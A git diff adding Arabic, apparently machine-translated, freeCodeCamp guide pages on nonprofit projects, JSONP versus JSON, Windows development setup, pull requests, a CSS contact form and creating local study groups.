+localeTitle: كيف الحرة مخيمات المشاريع غير ربحية مشاريع العمل
+---
+يُعد بناء المشاريع غير الربحية الطريقة الرئيسية التي يتعلم بها المشاركون في المخيم تطوير جافا سكريبت بالكامل وتطوير البرامج الذكية. ستبدأ هذه العملية بمجرد حصولك على شهادات تطوير الواجهة الأمامية ، وتصور البيانات ، وتطوير الخلفية.
+
+## بدءا من النهاية في الاعتبار
+
+هدفنا في Free Code Camp هو مساعدتك في الحصول على وظيفة كمطور برامج أو الحصول على ترقية في شركتك الحالية إلى دور فني أكثر.
+
+ستستمر في العمل على المشاريع غير الربحية حتى تقوم بإنشاء محفظة ومراجع رائعة بما يكفي لبدء البحث عن وظيفة. ستحتوي محفظتك في النهاية على أربعة مشاريع غير ربحية. نقدر أن 800 ساعة من المشاريع غير الربحية و 80 ساعة من الإعداد المسبق للمقابلة التي ستكملها ، بالإضافة إلى 1200 ساعة من التحديات التي أكملتها بالفعل بهذه النقطة ، ستكون أكثر من كافية لتأهيلك لأول مرة وظيفة الترميز.
+
+## مشروعك غير الربحي الأول
+
+ونقوم عمومًا بتوسيع نطاق المشاريع غير الربحية إلى 200 ساعة ، أو حوالي 10 أسابيع أسبوعيًا بمعدل 20 ساعة في الأسبوع لكل تطوير في الكارافانات. هذه هي التقديرات التقريبية فقط. ستعمل فقط على مشروع واحد في كل مرة.
+
+سوف تختار قافلة أخرى للمشاركة في هذه المشاريع. يجب عليك اختيارها على أساس:
+
+*   الالتزام بالوقت المقدّر (10 أو 20 أو 40 ساعة في الأسبوع)
+*   المناطق الزمنية الخاصة بك (هل ستتمكن من إقران البرنامج معًا؟)
+*   خبرة سابقة في الترميز (نود أن يتمكن كل من المعسكر من المساهمة على قدم المساواة)
+
+لن نأخذ العمر أو الجنس في الحسبان. هذا سوف يوفر لك تجربة قيمة في التواصل مع فرق متنوعة ، وهو واقع في مكان العمل المعاصر.
+
+ثم ، سوف ترسل بريدًا إلكترونيًا إلى team@freecodecamp.com مع:
+
+*   أسماء
+*   معلومات للتواصل
+*   روابط لكل ملف من أكواد Camp Free Code
+*   المناطق الزمنية
+*   ساعات التعهد في الأسبوع
+
+سنرسل إليك قائمة تضم 3 مشروعات غير ربحية تحتاج إلى مساعدتك ، وستختار معًا واحدة لبدء العمل. أثناء قيامك بذلك ، سيقوم فريقنا برصد كل من ملفات التعليمات البرمجية الخاصة بك للتأكد من أن جميع قصص المستخدمين قد اكتملت ، وأنه لا توجد أية علامات على خيانة الأمانة الأكاديمية.
+
+### بداية المشروع
+
+سنعقد اجتماعًا أوليًا مع ممثلين من Free Code Camp والمخيمين والشريك المعني. إذا ظهر صاحب المصلحة وكلا الفريقين على الفور ، ويبدو أنهما متحمسين ومهنيين ، سنبدأ المشروع. هذه العملية المطولة تخدم غرضًا مهمًا: فهي تقلل من احتمال أن يضيع أي من المعسكر أو أصحاب المصلحة وقتهم الثمين.
+
+### الجهات غير الربحية
+
+تم تقديم كل مشروع غير ربحي بواسطة منظمة غير ربحية. وافق ممثل من هذه المنظمة غير الربحية على العمل "كصاحب مصلحة" - شخص مؤلف يفهم المنظمة واحتياجاتها لهذا المشروع بالتحديد.
+
+أصحاب المصلحة لديهم فهم عميق لاحتياجات منظماتهم. سيعمل المخيمون معهم لمعرفة أفضل الحلول لهذه الاحتياجات.
+
+عندما تتحدث أنت وشريكك في البداية مع صاحب المصلحة غير الربحي ، فأنت:
+
+*   نتحدث باستفاضة لفهم احتياجاتهم بشكل أفضل.
+*   إنشاء لوحة Trello جديدة واستخدامها لتحديد أولويات ما يجب بناؤه.
+*   وتحديد مواعيد نهائية بناءً على التزامك الأسبوعي بالوقت ، ومدة توقع كل مهمة.
+
+من الناحية المثالية ، سنقوم بتوسيع نطاق كل مشروع ليتم الانتهاء منه في 10 سباقات. من الصعب تقدير المدة التي سيستغرقها إنشاء مشاريع البرامج ، لذلك لا تتردد في طلب المساعدة من فريق المتطوعين.
+
+ستستمر في الاجتماع مع صاحب المصلحة الأسبوعية باستخدام برنامج المؤتمر GoToMeeting. سوف تتوافق أيضًا مع الفريق في لوحة Trello التابعة للمشروع.
+
+يمكن أن يؤدي "الإيقاف" في مهمة ما إلى إزالة إحساسك بالزخم إلى الأمام ، لذا تأكد من السعي بشكل استباقي إلى الحصول على إجابات لأي غموض تواجهك.
+
+في نهاية المطاف ، سيتم اعتبار المشروع مكتملاً بمجرد تلبية احتياجات أصحاب المصلحة ، وتكون أنت وشريكك راضين عن المشروع. ثم يمكنك إضافته إلى محفظتك!
+
+### العمل مع زوجك
+
+ستقوم أنت وزوجك بإقران البرنامج (الكود معا على نفس جهاز الكمبيوتر تقريبا) حوالي نصف الوقت ، والعمل بشكل مستقل في النصف الآخر من الوقت.
+
+فيما يلي طرقنا الموصى بها للتعاون:
+
+*   يحتوي Gitter على وظائف رسائل خاصة قوية. إنها الطريقة الرئيسية التي يتصل بها فريقنا ، وننصحه عبر البريد الإلكتروني.
+*   Trello رائع لإدارة المشاريع. اعمل مع صاحب المصلحة على إنشاء بطاقات Trello ، وقم بتحديث هذه البطاقات بانتظام كلما حققت تقدمًا فيها.
+*   Screen Hero أو Team Viewer - هذه هي الطريقة المثلى لإقران البرنامج. أدوات مثل TMUX جيدة ، ولكن من الصعب استخدامها. نحن لا نشجعك على استخدام أدوات مشاركة الشاشة حيث يتحكم شخص واحد فقط في لوحة المفاتيح والماوس - وهذا ليس برنامجًا زوجيًا حقيقيًا.
+*   اكتب رمزًا واضحًا ومقروءًا ، وارتكب الرسائل ، وأسماء الفروع ، وسحب رسائل الطلب.
+
+### استضافة التطبيقات
+
+ما لم يكن لدى صاحب المصلحة مضيف حديث موجود (AWS ، المحيط الرقمي) ، ستحتاج إلى نقلها إلى نظام أساسي جديد. نحن نعتقد أن Heroku هو الخيار الأفضل للغالبية العظمى من مشاريع الويب. إنه مجاني وسهل الاستخدام ويحتوي على واجهات بين المستعرض وواجهة الأوامر. إنها مملوكة لشركة Salesforce وتستخدمها الكثير من الشركات ، لذا فهي خاضعة للمساءلة ومن غير المرجح أن تختفي.
+
+إذا كنت بحاجة إلى المساعدة في إقناع صاحب المصلحة بأن Heroku هو النظام الأساسي المثالي ، فسوف يسعدنا التحدث معهم.
+
+### الحفاظ على التطبيقات
+
+بمجرد إكمال مشروع غير ربحي ، ينتهي التزامك تجاه صاحب المصلحة. هدفك هو أن تترك وراءها حلاً موثقاً جيداً يمكن الحفاظ عليه بسهولة بواسطة مطور جافا سكريبت للعقد (أو حتى "مستخدم ممتاز" أقل تقنية).
+
+على الرغم من أنك لن تحتاج بعد الآن للمساعدة في تطوير الميزات ، فنحن نشجعك على التفكير في مساعدة صاحب العمل الخاص بك مع وجود تصحيحات عرضية على الطريق. بعد كل شيء ، سيكون هذا المشروع قطعة مهمة من محفظتك ، وسوف ترغب في أن تظل في حالة جيدة لأصحاب العمل في المستقبل.
+
+### تعهد لإنهاء المشروع
+
+يعتمد كل من صاحب العلاقة غير الربحي والشريك في العمل وفريق العمل التطوعي لدينا على إنهاء مشروعك غير الربحي. إذا خرجت من مشروع غير ربحي غير منتهي ، فستصبح غير مؤهل لتعيين شخص آخر.
+
+للتأكد من فهمك لخطورة هذا الالتزام ، نطلب من جميع المعسكرين [توقيع هذا التعهد](http://goo.gl/forms/ZMn96z2QqY) قبل البدء في مشاريعهم غير الربحية.
+
+سيكون هناك على الأرجح أوقات من الارتباك أو الإحباط. هذا أمر طبيعي في تطوير البرمجيات. الشيء الأكثر أهمية هو أنك لا تستسلم وبدلا من المثابرة من خلال هذه النكسات. كما قال الشهير ستيف جوبز ، "الفنانين الحقيقيين السفينة." وستقوم بشحن مشروع غير ربحي ناجح بعد آخر حتى تشعر بأنك مستعد لاتخاذ الخطوة التالية في مهنتك الواعدة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-jsonp-is-different-from-json/index.md b/client/src/guide/arabic/miscellaneous/how-jsonp-is-different-from-json/index.md
new file mode 100644
index 0000000000..1e943b461b
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-jsonp-is-different-from-json/index.md
@@ -0,0 +1,21 @@
+---
+title: How Jsonp Is Different from JSON
+localeTitle: كيف Jsonp يختلف عن JSON
+---
+JSONP هو مجرد JSON ملفوف في وظيفة رد اتصال.
+
+JSONP مفيد لتقديم طلبات عبر النطاقات ، والتي غالبًا ما تمنعها المتصفحات لأسباب أمنية.
+
+ ` // an example of JSON 
+ {"weapon":"nunchucks","headband":"yellow"} 
+ 
+ // an example of JSONP 
+ myCallback({"weapon":"nunchucks","headband":"yellow"}); 
+` 
+
+ثم للوصول إلى البيانات المخزنة في JSONP ، فإنك تحدد وظيفة رد الاتصال:
+
+ `myCallback = function(data){ 
+  alert(data.weapon); 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-build-a-website-without-writing-any-code/index.md b/client/src/guide/arabic/miscellaneous/how-to-build-a-website-without-writing-any-code/index.md
new file mode 100644
index 0000000000..fc5ca0552c
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-build-a-website-without-writing-any-code/index.md
@@ -0,0 +1,14 @@
+---
+title: How to Build a Website Without Writing Any Code
+localeTitle: كيفية بناء موقع على شبكة الإنترنت دون كتابة أي مدونة
+---
+من الممكن إنشاء مواقع ويب ديناميكية مستجيبة للجوّال دون كتابة أي شفرة على الإطلاق في غضون دقائق قليلة.
+
+فيما يلي التقنيات التي استخدمناها:
+
+*   [atom.io](http://www.atom.io/) محرر التعليمات البرمجية الحرة
+*   [startbootstrap.com](http://www.startbootstrap.com/) مجموعة من قوالب [استجابة سريعة](http://www.startbootstrap.com/) (Bootstrap)
+*   [powr.io](http://www.powr.io/) مجموعة من الإضافات JavaScript المجانية
+*   [bitballoon.com](http://www.bitballoon.com/) أداة لسحب وإسقاط موقع على شبكة الإنترنت
+
+سوف تصل بسرعة إلى حدود ما يمكنك القيام به دون ترميز فعلي ، ولكن من الجيد أن تكون قادرًا على إنشاء مواقع ويب نموذجية تعمل بسرعة مثل هذه.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-clone-and-setup-the-free-code-camp-website-on-a-windows-pc/index.md b/client/src/guide/arabic/miscellaneous/how-to-clone-and-setup-the-free-code-camp-website-on-a-windows-pc/index.md
new file mode 100644
index 0000000000..64f8cdc68f
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-clone-and-setup-the-free-code-camp-website-on-a-windows-pc/index.md
@@ -0,0 +1,42 @@
+---
+title: How to Clone and Setup the Free Code Camp Website on a Windows Pc
+localeTitle: كيفية استنساخ وإعداد موقع حر مدونة مخيم على شبكة ويندوز
+---
+تعمل هذه القائمة مع موقع freeCodeCamp وقد تم اختبارها على هذا [البرنامج التعليمي الزاوي](https://docs.angularjs.org/tutorial) كذلك. يعد إعداد بيئة التطوير على جهاز كمبيوتر يعمل بنظام Windows أمرًا سهلاً ، على الرغم من أنه من المرجح أن يقدم الكثير من الأخطاء أولاً في العملية. الجزء المهم هو تصحيح هذه الأخطاء.
+
+## المتطلبات الأساسية
+
+1.  [جيت باش](https://msysgit.github.io/)
+2.  [نود.جي إس](https://nodejs.org/)
+3.  [MongoDB](https://www.mongodb.org/downloads)
+4.  [بايثون 2.7.10](https://www.python.org/downloads/release/python-2710/)
+
+قم بتنزيل وتثبيت 4 متطلبات أساسية. عند تثبيت Python و Node ، من المهم التحقق من الخيار add إلى متغير المسار. يقوم مثبت Node بذلك بشكل افتراضي. من الاختياري إضافة Mongo إلى المسار. يجب تثبيت Python في مجلد فرعي في٪ programfiles٪
+
+1.  افتح موجه الأوامر مع حقوق المسؤول.
+    
+2.  تحقق من أن العقدة في المسار بتشغيل `node -v`
+    
+3.  تحقق من أن npm في المسار عن طريق تشغيل `npm -v`
+    
+4.  قم بتشغيل الأوامر التالية:
+    
+     `npm install gulp -g 
+     npm install node-gyp -g 
+    ` 
+    
+5.  إذا كنت ترغب في توفير الوقت المستغرق في البحث عن Mongo عند بدء تشغيل إنشاء ملف `.cmd` على سطح المكتب وكتابة المسار إلى Mongo. ربما `%programfiles%\MongoDB\Server\3.0\bin\mongod.exe` .
+    
+6.  إنشاء المجلد الافتراضي لـ Mongo لتخزين قواعد البيانات: `C:\data\db`
+    
+
+**الأوامر التالية _جميعا_ ليتم تنفيذها في بوابة باش**
+
+1.  اتبع الإرشادات هنا [**freeCodeCamp على جيثب**](https://github.com/FreeCodeCamp/freecodecamp) واستنساخ المشروع.
+2.  تأكد من أنك في الدليل الذي استنسخته مع GitHub (بشكل افتراضي ، يكون هذا هو freecodecamp).
+3.  قم بتشغيل `cp sample.env .env`
+4.  قم بتشغيل `npm install`
+5.  بدء تشغيل Mongo من اختصار سطح المكتب وتشغيل `npm run only-once` . يجب أن تشاهد الآن الكثير من النشاط في النافذة التي بدأت فيها Mongo.
+6.  تشغيل `gulp` . بعد قليل ، يجب تشغيل الإصدار المحلي من برنامج FreeCodeCamp. يمكنك زيارته في متصفحك على `http://localhost:3000`
+
+تهانينا ، لقد انتهيت! إذا واجهت أي مشكلات أثناء إعداد الإصدار المحلي من freeCodeCamp ، فلا تتردد في التواصل مع [غرفة الدردشة التابعة لنا](https://gitter.im/FreeCodeCamp/Contributors) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-contribute-via-a-pull-request/index.md b/client/src/guide/arabic/miscellaneous/how-to-contribute-via-a-pull-request/index.md
new file mode 100644
index 0000000000..7731777eec
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-contribute-via-a-pull-request/index.md
@@ -0,0 +1,27 @@
+---
+title: How to Contribute Via a Pull Request
+localeTitle: كيف يمكن المساهمة عبر طلب سحب
+---
+> طلب السحب (PR) هو طريقة لتقديم المساهمات لمشروع مفتوح المصدر. وغالبًا ما تكون الطريقة المفضلة لتقديم المساهمات إلى مشروع باستخدام نظام التحكم في إصدار الموزعة (DVCS) مثل Git.
+
+FreeCodeCamp هو مشروع مفتوح المصدر وجميع المحتويات قابلة للتحرير بحرية.
+
+*   [تفرع](https://help.github.com/articles/fork-a-repo/) المشروع على GitHub.
+*   [استنساخها](https://help.github.com/articles/cloning-a-repository/) إلى جهاز محلي. لا تعدل على الإنترنت في github.com ، لأن المحرر قد يسبب مشكلات في JSON البيانات المنسقة.
+*   [إنشاء فرع](https://help.github.com/articles/creating-and-deleting-branches-within-your-repository/) مع نموذج `fix/some-bug` أو `feature/add-cool-thing` وإجراء التغييرات الخاصة بك في هذا الفرع وارتكابها.
+*   [اضغط](https://help.github.com/articles/pushing-to-a-remote/) على الفرع عبر الإنترنت (إذا كان التحرير محليًا).
+*   [إنشاء طلب سحب](https://help.github.com/articles/creating-a-pull-request/) مقابل فرع **"التدريج"** .
+*   يجب أن يكون العنوان (الذي يطلق عليه أيضًا موضوع) العلاقات العامة الخاصة بك وصفيًا للتغييرات التي تجريها. أي `fix typo in basic-javascript challenge`
+*   إذا كان الهدف من العلاقات العامة هو حل مشكلة معينة ، فقم بإلحاق نهاية رسالة التزام PR الخاصة بك `closes #1337` . هذا يخبر GitHub لإغلاق هذه المشكلة إذا تم دمج PR.
+*   لا تضيف أرقام إصدار إلى عنوان العلاقات العامة. أي `minor improvements in basic-javascript challenge`
+
+هذه إرشادات عامة للعلاقات العامة تعمل في معظم المشاريع. يعطي الجميع دليلًا سريعًا للتغييرات الخاصة بك عند النظر إلى تاريخ الالتزام للمشروع.
+
+_ملاحظة: لا يتم قبول جميع طلبات السحب. سيقوم مشرفو مشروع FCC بشرح سبب عدم القبول._
+
+## قراءة متعمقة
+
+*   [GitHub & Git Foundations Training](https://www.youtube.com/playlist?list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-) - كيفية استخدام Git و GitHub
+*   [إرشادات مساهمة FreeCodeCamp](https://github.com/FreeCodeCamp/FreeCodeCamp#contributing)
+*   [كيف تكتب رسائل Git ارتكابها](http://chris.beams.io/posts/git-commit/)
+*   [كيفية استنساخ FCC إلى جهاز كمبيوتر ويندوز](https://forum.freecodecamp.com/t/how-to-clone-and-setup-the-free-code-camp-website-on-a-windows-pc/19366)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-create-a-contact-form-with-css/index.md b/client/src/guide/arabic/miscellaneous/how-to-create-a-contact-form-with-css/index.md
new file mode 100644
index 0000000000..4b0bb3ab01
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-create-a-contact-form-with-css/index.md
@@ -0,0 +1,139 @@
+---
+title: How to Create a Contact Form with CSS
+localeTitle: كيفية إنشاء نموذج اتصال مع CSS
+---
+## كيفية إنشاء نموذج اتصال مع CSS
+
+أولاً ، نقوم بإنشاء عناصر HTML - حقول الإدخال للاسم الأول واسم العائلة والبريد الإلكتروني ومنطقة النص للرسالة.
+
+في وقت لاحق ، نقوم بتطبيق أنماط CSS لجعل النموذج جذابًا بشكل مرئي.
+
+### جزء HTML
+
+يحتوي قسم HTML على `container` الفئة مع العنوان `h3` " **نموذج جهة الاتصال** "
+
+يحتوي النموذج بالاسم **contact\_form** على حقول إدخال من أجل:
+
+*   الاسم الاول
+*   الكنية
+*   البريد الإلكتروني
+*   رسالة
+
+div مع `center` الفصل لمحاذاة مركز العناصر. نوع `input` `submit` لإرسال النموذج. يتم فحص السمة `required` في حقول النص للقيمة عند الإرسال.
+
+ `
+<div class="container"> 
+    <h3>Contact Form</h3> 
+    <form action="#" name="contact_form"> 
+        <label for="first_name">First Name</label> 
+        <input name="first_name" type="text" required placeholder="John"/> 
+        <br> 
+        <label for="last_name">Last Name</label> 
+        <input name="last_name" type="text" required placeholder="Doe"/> 
+        <br> 
+        <label for="email">Email</label> 
+        <input name="email" type="email" required placeholder="you@domain.com"/> 
+        <br> 
+        <label for="message">Message</label><br> 
+        <textarea name="message" cols="30" rows="10" placeholder="Enter your message here ..." required> </textarea> 
+        <div class="center"> 
+            <input type="submit" value="Submit"> 
+        </div> 
+    </form> 
+ </div> 
+` 
+
+### الجزء المغلق
+
+ `/* Importing the Roboto font from Google Fonts. */ 
+ @import url("https://fonts.googleapis.com/css?family=Roboto:400"); 
+ 
+ /* Set font of all elements to 'Roboto' */ 
+ * { 
+    font-family: 'Roboto', sans-serif; 
+    font-weight: 400; 
+ } 
+ 
+ /* Remove outline of all elements on focus */ 
+ *:focus { 
+    outline: 0; 
+ } 
+ 
+ body { 
+    background: #263238;  /* Set background color to #263238*/ 
+ } 
+ 
+ h3 { 
+    text-align: center; 
+ } 
+ 
+ /* Add styles to 'container' class */ 
+ .container { 
+    padding: 12px 24px 24px 24px; 
+    margin: 48px 12px; 
+    background: #E3F2FD; 
+    border-radius: 4px; 
+ } 
+ 
+ /* Add styles to 'label' selector */ 
+ label { 
+    font-size: 0.85em; 
+    margin-left: 12px; 
+ } 
+ 
+ /* Add styles to 'input' and 'textarea' selectors */ 
+ input[type=text],input[type=email], textarea { 
+    width: 100%; 
+    padding: 12px; 
+    border: 1px solid #ccc; 
+    border-radius: 4px; 
+    box-sizing: border-box; 
+    margin-top: 6px; 
+    margin-bottom: 16px; 
+    resize: vertical; 
+ } 
+ 
+ /* Add styles to show 'focus' of selector */ 
+ input[type=text]:focus,input[type=email]:focus, textarea:focus { 
+    border: 1px solid green; 
+ } 
+ 
+ /* Add styles to the submit button */ 
+ input[type=submit] { 
+    background: #64B5F6; 
+    margin: 0 auto; 
+    outline: 0; 
+    color: white; 
+    border: 0; 
+    padding: 12px 24px; 
+    border-radius: 4px; 
+    transition: all ease-in-out 0.1s; 
+    position: relative; 
+    display: inline-block; 
+    text-align: center; 
+ } 
+ 
+ /* Add styles for 'focus' property */ 
+ input[type=submit]:focus { 
+    background: #A5D6A7; 
+    color: whitesmoke; 
+ } 
+ 
+ /* Style 'hover' property */ 
+ input[type=submit]:hover { 
+    background: #2196F3; 
+ } 
+ 
+ /* Align items to center of the 'div' with the class 'center' */ 
+ .center { 
+    text-align: center; 
+ } 
+` 
+
+### انتاج |
+
+![FreeCodeCamp / أدلة - نموذج الاتصال](http://res.cloudinary.com/crack-jack/image/upload/v1508434398/FCC_Github_Contact_form.png)
+
+### معلومات اكثر:
+
+زيارة [FreeCodeCamp - نموذج الاتصال](https://codepen.io/rakhi2104/pen/QqYOoe/) على [Codepen.io](https://codepen.io)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md b/client/src/guide/arabic/miscellaneous/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md
new file mode 100644
index 0000000000..cb27f54496
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Create a Dropdown Menu with CSS and JavaScript
+localeTitle: كيفية إنشاء قائمة منسدلة باستخدام CSS و JavaScript
+---
+## كيفية إنشاء قائمة منسدلة باستخدام CSS و JavaScript
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/miscellaneous/how-to-create-a-dropdown-menu-with-css-and-javascript/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-to-create-a-local-study-group/index.md b/client/src/guide/arabic/miscellaneous/how-to-create-a-local-study-group/index.md
new file mode 100644
index 0000000000..ea11dbc6e0
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-to-create-a-local-study-group/index.md
@@ -0,0 +1,80 @@
+---
+title: How to Create a Local Study Group
+localeTitle: كيفية إنشاء مجموعة دراسة محلية
+---
+إذا كنت لا ترى مدينتك في [قائمة مجموعات دراستنا](https://www.freecodecamp.com/study-group-directory/) ، وكنت على استعداد لقيادة مجموعة دراسة لمدينتك ، فاتبع الإرشادات أدناه.
+
+وهذا ينطبق أيضًا على إنشاء مجموعات أصغر وأكثر تماسكًا للأحياء والمقاطعات داخل نفس المدينة. وبالتالي ، يجب على المجموعات أن تمثل بشكل مثالي المناطق التي لا يضطر أعضاؤها إلى التنقل فيها لمدة أطول من 15 إلى 20 دقيقة للالتقاء ببعضهم البعض.  
+ومع ذلك ، اعلم أن الأشخاص قد يرغبون في الانضمام من أماكن أخرى ، حيث قد ينوون الانتقال إلى هناك ، أو مشاهدة مجموعتك كمصدر جيد للموارد والتعليقات ، وما إلى ذلك.
+
+**من فضلك ، لا تقم بإنشاء مجموعات لدولة / مقاطعة / إدارة / مقاطعة بأكملها / إلخ. لأنها لن تضاف إلى القائمة.**
+
+بافتراض أنك قمت بالفعل بتسجيل الدخول إلى Facebook:  
+0 (اختياري) أثناء إنشاء المجموعة ، ستحتاج إلى إضافة شخص واحد على الأقل. يمكنك إضافة [Justin](https://www.facebook.com/FCC.GroupChancellor) كصديق ، وهو المسؤول عن المجموعات المحلية لـ FreeCodeCamp ويمكنه **مساعدتك في إدارة** أعضائك **والأحداث وأية قضايا قد تظهر (مثل مرسلي الرسائل غير المرغوب فيها ، وما إلى ذلك)** .  
+أيضا ، من المحتمل ألا يرى أن بإمكانه رؤية أي رسائل قد ترسلها حتى "صديقك".
+
+الآن إلى الجزء الممتع! الأمر سهل ، ما عليك سوى اتباع الخطوات التالية:
+
+1.  انقر على السهم لأسفل في الركن العلوي الأيسر من الشاشة ، ثم اختر "إنشاء مجموعة" من الخيارات.
+
+![لقطة شاشة لـ Facebook تعرض القائمة المنسدلة التي تظهر عند النقر على السهم لأسفل ، مع وجود سهم يشير إلى خيار "إنشاء مجموعة"](//discourse-user-assets.s3.amazonaws.com/original/2X/9/9b58a494046871476342efb4b2e8d09426f7f9e3.png)
+
+2\. عيّن اسم المجموعة باسم "freeCodeCamp" + اسم مدينتك.
+
+*   تجنب استخدام مصطلحات عامية مثل "Philly" لـ "Philadelphia".
+*   إذا لم تكن مدينتك أكبر مدينة تستخدم اسمها ، فعليك أيضًا تضمين الولاية أو المقاطعة. على سبيل المثال ، يجب استدعاء المجموعة freeCodeCamp في باريس ، فرنسا "freeCodeCamp Paris". يجب استدعاء مجموعة freeCodeCamp في باريس ، تكساس "freeCodeCamp Paris، TX".
+*   إذا كنت في أمريكا الشمالية ، نقترح عليك إضافة الأحرف الأولى من الولاية / المقاطعة الخاصة بك هنا.
+
+3\. تعيين مجموعتك للجمهور.
+
+![لقطة شاشة لشرح إنشاء مجموعة على Facebook تشير إلى أن اسم مجموعتك يجب أن يكون freeCodeCamp بالإضافة إلى اسم مدينتك ، وأن مجموعتك يجب أن تكون عامة ، وأنك تحتاج إلى دعوة صديق واحد على Facebook على الأقل.](//discourse-user-assets.s3.amazonaws.com/original/3X/e/4/e49fe1e0a5b675c80dc4313252a5f92fd866472c.png)
+
+4\. اختر رمز حد التخرج للإشارة إلى أن هذه المجموعة مرتبطة بالتعليم.
+
+![لقطة شاشة تخبرك باختيار رمز التخرج ، الموجود في الصف الذي يليه من الرموز ، أيقونات سبعة من اليسار.](//discourse-user-assets.s3.amazonaws.com/original/2X/f/fc5d4406b8e794fb973178aeffb281d8e344fea4.png)
+
+5\. انقر فوق القائمة "..." ، ثم انقر فوق "تحرير إعدادات المجموعة" في القائمة المنسدلة.
+
+![لقطة شاشة تخبرك بالنقر على الزر "..." ، ثم اختيار خيار "تعديل إعدادات المجموعة"](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2e6b9e8129a42aba871442045da24686a1a63765.png)
+
+6\. عيّن إعداد الخصوصية للمجموعة للجمهور.
+
+7\. تعيين موافقة عضوية مجموعتك على المكان الذي يمكن لأي عضو إضافة أو قبول أعضاء فيه
+
+![لقطة شاشة تعرض لوحة إعدادات Facebook وحيث يمكنك النقر لتعيين المجموعة للجمهور والسماح لجميع الأعضاء بالقدرة على إضافة أو الموافقة على الأعضاء](//discourse-user-assets.s3.amazonaws.com/original/3X/6/a/6a2735dbb63f052109e06a21baf64d5e818e2dbc.png)
+
+8\. انقر فوق الزر "تخصيص العنوان".
+
+9\. أدخل "free.code.camp.your.city" مع كل كلمة مفصولة بنقاط.  
+أمثلة:  
+![:white_check_mark:](https://forum.freecodecamp.com/images/emoji/emoji_one/white_check_mark.png?v=3 ": white_check_mark:") **free.code.camp.london**  
+![:white_check_mark:](https://forum.freecodecamp.com/images/emoji/emoji_one/white_check_mark.png?v=3 ": white_check_mark:") **freecodecamp.london**  
+![:x:](https://forum.freecodecamp.com/images/emoji/emoji_one/x.png?v=3 ": س:") **free.code.camp.your.london**  
+![:x:](https://forum.freecodecamp.com/images/emoji/emoji_one/x.png?v=3 ": س:") **free.code.camp.your.city.london**
+
+![لقطة شاشة تخبرك بإدخال freecodecamp.yourcity مع كل كلمة مفصولة بنقاط.](//discourse-user-assets.s3.amazonaws.com/original/2X/b/b06ad3f1b9d91f9dd9aba828bdd699677725d130.png)
+
+10\. لا تتردد في تخصيص وصف المجموعة المحلية الخاصة بك ، ولكن تأكد من تضمين ارتباط إلى freeCodeCamp: `https://freecodecamp.com` . يجعل الأمر أسهل بكثير على الأعضاء الجدد المحتملين ليجدوك إذا ذكرت البلد الذي توجد فيه مدينتك (أو الولاية / المقاطعة في أمريكا الشمالية).
+
+ضع في اعتبارك أيضًا ما إذا كان السكان المحليون قد لا يتحدثون الإنجليزية بطلاقة ، وبالتالي فإن وجود مجموعة في لغتك قد يؤدي وظيفة أفضل في إلهامهم للانضمام. نريد أن يشعر الجميع بالارتياح ، وقد يكون الترميز صعبًا بما فيه الكفاية دون التعرض لضغط الاضطرار إلى التحدث بلغة مختلفة فوقها.
+
+![لقطة شاشة تعرض مربع وصف المجموعة على صفحة Facebook.](//discourse-user-assets.s3.amazonaws.com/original/3X/8/c/8c68d711a85d5089b28d927665db3a6d6cf7ca40.png)
+
+11\. انقر فوق الزر "تحميل صورة. للبدء ، ستحتاج فقط إلى استخدام شعار freeCodeCamp (تنزيله [هنا](https://github.com/FreeCodeCamp/wiki/blob/master/deprecated%20wiki/images/FCC-FBbanner.png) ) ، أو لقطة رائعة لمدينتك. في وقت لاحق يمكنك تحديث هذا مع صورة من أحد كودك freeCodeCamp الخاص بالمدينة الأحداث.
+
+بدلاً من ذلك ، جستن هو مساعد المشرف الخاص بك ، يمكنك أن تطلب منه إضافة الشعار من ألبوم صورته لك.
+
+\[ ![لقطة شاشة تعرض الزر "تحميل صورة".](//discourse-user-assets.s3.amazonaws.com/original/2X/2/26006223f5f5b1c154496452037049be1a795d68.png)
+
+12\. إذا لم تكن قد قمت بذلك بالفعل ، **فاحرص على إضافة [Justin](https://www.facebook.com/FCC.GroupChancellor) إلى مجموعتك ثم** اجعله **مسؤولًا إضافيًا** حتى يتمكن من إضافتك إلى القائمة الرسمية - ستتمكن من القيام بذلك بعد إضافته ، في قسم الأعضاء ، والنقر على رمز الترس بجوار اسمه.  
+لا حاجة إلى "صديقه" إذا لم تقم بذلك في الخطوة 0. فقط أرسل له رسالة خاصة مع رابط مجموعتك وسوف ينضم بنفسه.  
+_لا تقلق ، فالمجموعة لا تزال ملكًا لك بنسبة 100٪ ، حيث إنه سيساعدك بهدوء في الخلفية._
+
+كما أوضحنا سابقًا ، فإن Justin مسؤول عن المجموعات المحلية لـ freeCodeCamp ويمكنك دائمًا إرسال رسالة خاصة إليه إذا كان لديك المزيد من الأسئلة أو تحتاج إلى مساعدة بشأن شيء يتعلق بمجموعة ما.
+
+13\. وأخيرًا ، انضم إلى [مجموعة القادة المحليين على Facebook](https://www.facebook.com/groups/freecodecampers/) ، حيث نشارك الأفكار حول مشاركة المعسكر في مدينتك.
+
+**نصائح إضافية:**
+
